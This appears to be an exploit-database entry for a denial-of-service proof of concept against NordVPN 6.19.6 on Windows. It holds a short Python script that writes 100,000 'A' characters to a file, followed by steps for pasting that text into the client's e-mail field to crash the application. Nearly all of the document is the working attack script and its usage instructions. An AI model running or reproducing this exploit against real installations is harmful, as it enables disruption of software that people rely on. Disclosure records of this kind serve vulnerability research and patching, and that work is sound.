NordVPN version 6.19.6 suffers from a denial of service vulnerability.
f39988ffeef636f8325b81aafb109488# -*- coding: utf-8 -*-
# Exploit Title: NordVPN 6.19.6 - Denial of Service (PoC)
# Date: 07/02/2019
# Author: Alejandra SA!nchez
# Vendor Homepage: https://nordvpn.com/
# Software Link: https://downloads.nordcdn.com/apps/windows/10/NordVPN/latest/NordVPNSetup.exe
# Version: 6.19.6
# Tested on: Windows 10
# Proof of Concept:
# 1.- Run the python script, it will create a new file "PoC.txt"
# 2.- Copy the text from the generated PoC.txt file to clipboard
# 3.- Open NordVPN.exe
# 3.- Paste clipboard in 'E-mail' field
# 4.- Write '1234' in 'Password' field
# 5.- Clic on button -> Sign In
# 6.- Crashed
buffer = "\x41" * 100000
f = open ("PoC.txt", "w")
f.write(buffer)
f.close()